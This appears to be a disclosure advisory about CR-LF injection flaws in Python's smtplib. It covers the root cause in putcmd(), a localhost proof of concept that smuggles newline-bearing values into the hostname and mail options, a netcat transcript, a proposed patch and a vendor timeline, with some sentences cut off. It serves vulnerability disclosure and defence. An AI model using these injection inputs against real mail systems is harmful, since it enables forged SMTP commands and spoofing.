Python is a programming language that lets you work more quickly and integrate your systems more effectively.
Two CR-LF injection points have been discovered in the Python standard library for
SMTP interaction (client perspective) named
smtplib that may allow a malicious user with direct access to
smtplib.SMTP(..., local_hostname, ..) or
smtplib.SMTP(...).mail(..., options) to inject a CR-LF control sequence to inject arbitrary
SMTP commands into the protocol stream.
The root cause of this is likely to be found in the design of the
putcmd(cmd, args) method, that fails to validate that
args contains any protocol control sequences (i.e.
It is recommended to reject or encode
putcmd() and enforce that potential multi-line commands call
putcmd() multiple times to avoid that malicious input breaks the expected context of the method and hence cause unexpected behavior. For reference, the
DATA command (multi-line) would not be affected by this change as it calls
putcmd() only once and continues with directly interacting with the socket to submit the body.
The root cause of this (and probably also some earlier reported CR-LF injections) is the method
lib/smtplib.py. The method is called by multiple commands and does not validate that neither
args contains any
def putcmd(self, cmd, args=""): """Send a command to the server.""" if args == "": str = '%s%s' % (cmd, CRLF) else: str = '%s %s%s' % (cmd, args, CRLF) self.send(str)
However, the issue was initially found in
mail(..., options)  which fails to ensure that none of the provided
CRLF characters. The method only ensures that provides mail addresses are quoted,
optionslist is untouched:
self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist))
A similar issue was found with
ehlo(name)) which may potentially contain
CRLF sequences and, therefore, can be used to inject
Here’s a snipped of
def helo(self, name=''): """SMTP 'helo' command. Hostname to send for this command defaults to the FQDN of the local host. """ self.putcmd("helo", name or self.local_hostname) (code, msg) = self.getreply() self.helo_resp = msg return (code, msg)
We highly recommend, fixing this issue once and for all directly in
putcmd() and enforce that the interface can only send one command at a time, rejecting arguments that contain
CRLF sequences or properly encoding them to avoid injection.
3 Proof of Concept
set-up a local tcp listener
⇒ nc -l 10001
run the following PoC and replay the server part as outline in 3.
import smtplib server = smtplib.SMTP('localhost', 10001, "hi\nX-INJECTED") # localhostname CRLF injection server.set_debuglevel(1) server.sendmail("[email protected]", "[email protected]", "wazzuuup\nlinetwo") server.mail("[email protected]",["X-OPTION\nX-INJECTED-1","X-OPTION2\nX-INJECTED-2"]) # options CRLF injection
smtplib, check for
⇒ nc -l 10001 nc -l 10001 220 yo ehlo hi X-INJECTED 250-AUTH PLAIN 250 mail FROM:<[email protected]> 250 ok rcpt TO:<[email protected]> 250 ok data 354 End data with <CR><LF>.<CR><LF> wazzuuup linetwo . 250 ok mail FROM:<[email protected]> X-OPTION X-INJECTED-1 X-OPTION2 X-INJECTED-2 250 ok quit 250 ok
3.1 Proposed Fix
putcmdemits exactly one command at a time and encode
\n -> \\n.
diff --git a/Lib/smtplib.py b/Lib/smtplib.py index e2dbbbc..9c16e7d 100755 --- a/Lib/smtplib.py +++ b/Lib/smtplib.py @@ -365,10 +365,10 @@ class SMTP: def putcmd(self, cmd, args=""): """Send a command to the server.""" if args == "": - str = '%s%s' % (cmd, CRLF) + str = cmd else: - str = '%s %s%s' % (cmd, args, CRLF) - self.send(str) + str = '%s %s' % (cmd, args) + self.send('%s%s' % (str.replace('\n','\\n'), CRLF))
4 Vendor Response
Vendor response: gone silent; stalled patch.
JUL/02/2020 - contact psrt; provided details, PoC, proposed patch JUL/04/2020 - confirmed that vulnerability note was received SEP/10/2020 - requested status update. FEB/04/2021 - Filed issue https://bugs.python.org/issue43124 for transparency MAY/28/2021 - disclosed over a year a go. public disclosure.
-  https://www.python.org/
-  https://www.python.org/downloads/
-  https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L365-L371
-  https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L520
-  https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L428-L445
-  https://bugs.python.org/issue43124